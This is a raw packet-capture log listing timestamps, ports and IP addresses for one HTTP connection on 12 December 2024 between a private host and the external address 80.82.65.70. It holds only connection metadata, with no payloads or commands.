Dec 12, 2024 16:48:27.094852924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.095366001 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.095459938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.095489979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.095544100 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.096224070 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.096277952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.096354961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.097381115 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.097388029 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.097872019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.098347902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.098355055 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.098490953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.099380016 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.099601030 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.099654913 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.099654913 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.100466013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.100474119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.100585938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.101392984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.101857901 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.101895094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.102423906 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.102430105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.102468014 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.102468967 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.103362083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.103490114 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.241602898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.241904020 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.241914988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.241993904 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.242178917 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.242350101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.242374897 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.242434978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.243125916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.243205070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.243587971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.243726015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.244043112 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.244631052 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.244632006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.244641066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.244868040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.245702982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.245714903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.246145010 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.246721029 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.246728897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.247335911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.247845888 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.247857094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.247900009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.247926950 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.248981953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.248989105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.249118090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.249118090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.249766111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.249782085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.249845982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.250875950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.250884056 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.251265049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.251729965 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.251877069 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.251894951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.252497911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.252880096 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.252902985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.253609896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.254045010 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.254851103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.254857063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.255072117 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.255072117 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.255084991 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.255309105 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.255935907 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.255944014 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.256136894 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.256946087 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.256953955 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.257112980 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.258052111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.258059025 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.258140087 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.259083986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.259092093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.259337902 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.260073900 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.260082006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.261042118 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.261060953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.261071920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.261303902 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.261981010 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.262104034 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.262150049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.262198925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.263103962 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.263144970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.263181925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.263181925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.264064074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.264297009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.264324903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.264456034 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.265202999 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.265703917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.265741110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.265824080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.266100883 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.266182899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.266213894 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.266325951 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.267119884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.267165899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.267246962 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.267290115 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.268254995 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.268261909 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.268419981 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.269268036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.269274950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.269346952 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.270374060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.270380020 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.270483017 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.271234989 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.271353960 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.271372080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.271568060 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.272304058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.272310972 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.272497892 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.273365021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.273402929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.273452044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.273473978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.274318933 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.274379015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.274534941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.274883032 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.275542021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.275643110 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.275650978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.275702953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.276490927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.276602983 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.276627064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.276684046 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.277514935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.277523041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.277600050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.278553963 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.278561115 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.279267073 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.279587984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.280198097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.280219078 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.280534983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.280543089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.280560017 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.280591965 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.281639099 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.281646967 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.281799078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.282515049 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.282589912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.282735109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.282871008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.283499956 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.283546925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.283580065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.283776999 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.284569979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.284709930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.284748077 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.284748077 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.285619020 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.285676956 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.285795927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.286047935 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.286670923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.286705017 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.286859035 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.287703037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.287859917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.287916899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.288173914 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.288856983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.288876057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.289206982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.289729118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.289748907 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.290788889 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.290788889 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.290836096 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.290996075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.291038990 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.291275978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.291776896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.291932106 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.292115927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.292362928 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.292900085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.293119907 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.293123007 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.293230057 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.293963909 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.294090986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.294190884 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.294795990 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.294816971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.294836998 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.294948101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.294948101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.433691978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.433830976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.433904886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.434263945 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.434286118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.434423923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.435276985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.435286045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.435344934 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.436306000 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.436625957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.436795950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.437067032 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.437295914 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.437489986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.437505007 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.437535048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.438395977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.438491106 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.438508034 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.438699961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.439538002 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.439610004 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.439690113 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.440011024 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.440366983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.440515041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.440710068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.440710068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.441395998 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.441515923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.441968918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.441968918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.442486048 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.442603111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.442679882 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.443445921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.443536997 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.443553925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.443576097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.444468021 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.444564104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.444617033 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.444911957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.445487976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.445549011 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.445635080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.445689917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.446535110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.446620941 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.446661949 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.446788073 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.447593927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.447669983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.447714090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.448571920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.448636055 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.448661089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.448801994 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.449664116 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.449743986 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.449837923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.449992895 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.450614929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.450808048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.450834036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.450891018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.451642036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.451733112 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.451908112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.452646017 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.452831984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.452913046 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.452958107 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.453697920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.453797102 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.453828096 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.454035997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.454706907 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.454771996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.454821110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.455003977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.455732107 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.455858946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.455970049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.455970049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.456814051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.456938028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.457071066 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.457777023 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.457896948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.457932949 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.457932949 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.458851099 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.458950996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.459023952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.459181070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.459919930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.459976912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.460135937 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.460135937 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.460961103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.461007118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.461121082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.461896896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.462012053 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.462100983 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.462100983 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.462923050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.463020086 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.463067055 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.463187933 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.463952065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.464055061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.464107990 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.464107990 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.465004921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.465137005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.465352058 CET	49882	80	192.168.2.11	80.82.65.70
